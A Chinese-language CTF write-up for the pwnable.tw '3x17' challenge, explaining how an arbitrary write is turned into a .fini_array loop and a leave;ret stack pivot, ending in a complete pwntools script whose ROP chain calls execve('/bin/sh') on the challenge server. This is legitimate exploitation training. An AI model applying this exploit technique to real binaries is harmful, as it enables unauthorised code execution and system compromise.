3 x 17

pwnable.tw->3x17

前言

做Kidding做不下去看了一眼别人wp自闭了,然后开始做这个分值比较低的新题,自闭++,依然是看着别人wp调的,感觉是纯考动态调试的题,这个题告诉我们不要瞅着代码瞎看,动手找很重要

程序逻辑

程序是静态编译的,这意味着代码段的地址是固定的,又是使用ROP的题,这里的函数需要猜一下,其中write和read里进行了系统调用,比较容易识别,strtol()这个搞不懂,不过动态调试的时候可以看到最终的结果是返回输入的数字到rax里,可以猜到是个把字符串转换成整数的函数。程序主要功能是往指定地址写入指定数据

main

漏洞利用

程序本身就是任意地址写了,漏洞比较明显,重点在于这一次的覆写如何进行,我以前做的类似的题是直接patch掉if成loop多次覆写最终拿到flag,不过那个偏逆向,这里main的代码段是不可写的只得作罢,之后去看wp发现了一个新的东西叫做.fini_arrary,是程序执行完毕之后执行的函数,这个数组里存着两个函数地址,根据
reference,有以下的关键信息

The runtime linker executes functions whose addresses are contained in the .fini_array section. These functions are executed in the reverse order in which their addresses appear in the array. The runtime linker executes a .fini section as an individual function. If an object contains both .fini and .fini_array sections, the functions defined by the .fini_array section are processed before the .fini section for that object.

也就是说这个数组的两个函数以倒序依次被执行,我们可以通过覆写.fini_array的内容来控制执行流,根据这个数组的调用,可以找到实际调用函数的位置,这个函数位于0x402960,这里调用的是[rbp+rbx*8],调用地址为0x402988,我们不妨直接Gdb断点下在此处看看调用的是什么结果。

call_fini_array

可以看到在调用前rbx为1,rbp为0x4b40f0即.fini_array,即调用arr[1],继续调试,可以看到rbx变为0之后和-1比较cmp不相等,因此再次执行call [rbp+rbx*8],即调用arr[0],刚好符合我们之前查到的资料。我们第一次覆写的目的是构造一个类似while的闭环,使得我们可以无限次写入,若只是覆写其中一个为main,则只能覆写一次,执行完Main之后就GG。因此我们的初步想法是把arr[1]改为main_addr,arr[0]改为一个调用调用函数的函数地址(0x402960),这样的效果就是调用arr[1]进了main,调用arr[0]又进了调用arr[1]和arr[0]的函数,继续调用main,继续调用0x402960继而调用main…而当我们完成rop的时候,只需要修改arr[0]为rop的起始地址,就可以调用它完成getshell。

0x402988

ROP的布置

ROP并不像以前那样布置在栈上依次执行,我们的数据需要通过pop_register之类的命令从栈上获取到寄存器里,因此我们需要知道rsp、rbp的情况,这里又得动态去调试。我们先不布置rop,arr[1]为main_addr,arr[0]为leave_ret_adddr(0x401c4b)。断点下在0x401c4b。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
call [rbp]
//rsp = ?,rbp = 0x4b40f0
leave
(mov rsp,rbp;
//rsp = 0x4b40f0 = rbp
pop rbp)
//rsp = 0x4b40f8, rbp = 0x401c4b(leave_ret_addr)
ret(to 0x401b6d,main_addr)
//rsp = 0x4b4100, rbp = 0x401c4b
push rbp;
//rsp = 0x4b40f8, rbp = 0x401c4b
mov rbp, rsp;
// rbp = rsp = 0x4b40f8
....
// rsp = 0x4b40c8, rbp = 0x4b40f8
mov rsp, rbp;
// rsp = 0x4b40f8 = rbp
pop rbp;
// rsp = 0x4b4100, rbp = 0x401c4b
ret(to 0x4b4100)

leave_ret

final_stack

也就是说最后操作完毕,rsp = rip = 0x4b4100, rbp = 0x401c4b。我们需要修改的就是0x4b4100的内容,布置ROP链,最后让arr[0]为leave_ret_addr即可。注意此时rsp和rip一样,因此可以直接当成栈里的情况布置ROP,一个pop_ret跟一个参数即可。

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#coding=utf-8
from pwn import *
context.update(arch='amd64',os='linux',log_level='info')
context.terminal = ['tmux','split','-h']
debug = 0

if debug:
p = process('./317')
#gdb.attach(p,'b* 0x401c29')
else:
p =remote('chall.pwnable.tw',10105)

def send_data(addr,data):
p.recvuntil('addr:')
p.sendline(str(addr))
p.recvuntil('data:')
p.send(data)

def exp():
fini_arr_addr = 0x4b40f0
main_addr = 0x401b6d
loop_func_addr = 0x402960
leave_ret_addr = 0x401c4b
send_data(fini_arr_addr, p64(loop_func_addr)+p64(main_addr))

#rop chain
pop_rax = 0x41e4af
pop_rdi = 0x401696
pop_rsi = 0x406c30
pop_rdx = 0x446e35
syscall_addr = 0x471db5
start_addr = 0x4b4100
binsh_addr = 0x4B4080
send_data(start_addr,p64(pop_rax)+p64(59))
send_data(binsh_addr,"/bin/sh\x00")
send_data(start_addr+16,p64(pop_rdi)+p64(binsh_addr))
send_data(start_addr+32,p64(pop_rsi)+p64(0))
send_data(start_addr+48,p64(pop_rdx)+p64(0))
send_data(start_addr+64,p64(syscall_addr))
#trigger rop
send_data(fini_arr_addr,p64(leave_ret_addr))

p.interactive()

exp()
您的支持将鼓励我继续创作